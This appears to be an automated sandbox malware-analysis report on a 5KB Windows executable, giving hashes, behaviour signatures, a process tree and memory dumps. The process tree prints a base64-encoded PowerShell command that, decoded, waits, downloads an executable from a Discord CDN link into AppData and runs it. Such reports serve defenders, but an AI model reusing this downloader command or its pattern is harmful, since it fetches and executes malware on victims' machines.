Analysis

  • max time kernel
    62s
  • max time network
    134s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-01-2023 07:11

General

  • Target

    4122841f455a6897b6f3f292fc72052b9299927264c69163bd9829bf2cbe0f4c.exe

  • Size

    5KB

  • MD5

    40d7610fec14df4044ea968d539ca54f

  • SHA1

    9fb4fe3934da1a6865174f07808950fc2d75d10c

  • SHA256

    4122841f455a6897b6f3f292fc72052b9299927264c69163bd9829bf2cbe0f4c

  • SHA512

    d2c2a04abeef8fb1b46f84b4374ee00f5a7c6139c003178814e7b0018e51e41507e4a480b54c3085c283432405217b493e6e502992a513c05d95d740e10d3b7c

  • SSDEEP

    96:IkUO79tHL1bhycGE6A6NUqR5HAYxsLvk+ZF1YYKd3ojJrl:xZ9tHL1bhycgUqRqYUvkWFFKdo

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4122841f455a6897b6f3f292fc72052b9299927264c69163bd9829bf2cbe0f4c.exe
    "C:\Users\Admin\AppData\Local\Temp\4122841f455a6897b6f3f292fc72052b9299927264c69163bd9829bf2cbe0f4c.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAeQBiACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADUAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAA1ADcANAAxADQAOAA0ADgAOQAwADYAMAAwADYANgAwADkALwAxADAANQA3ADQAMQA1ADMAMwAwADYAMQA3ADYAMwA5ADAANwA0AC8AMwAxAGEAcwAuAGUAeABlACcALAAgADwAIwBpAHkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGUAcQBnACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGUAeABoACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADEAMQAuAGUAeABlACcAKQApADwAIwBlAHQAYgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAHcAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcQB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMQAxAC4AZQB4AGUAJwApADwAIwBrAHkAegAjAD4A"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2468

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/2468-136-0x00000156C5F20000-0x00000156C5F42000-memory.dmp

    Filesize

    136KB

  • memory/2468-137-0x00007FFA12860000-0x00007FFA13321000-memory.dmp

    Filesize

    10.8MB

  • memory/2468-138-0x00007FFA12860000-0x00007FFA13321000-memory.dmp

    Filesize

    10.8MB

  • memory/4676-132-0x00000000004B0000-0x00000000004B8000-memory.dmp

    Filesize

    32KB

  • memory/4676-133-0x00007FFA12860000-0x00007FFA13321000-memory.dmp

    Filesize

    10.8MB

  • memory/4676-135-0x00007FFA12860000-0x00007FFA13321000-memory.dmp

    Filesize

    10.8MB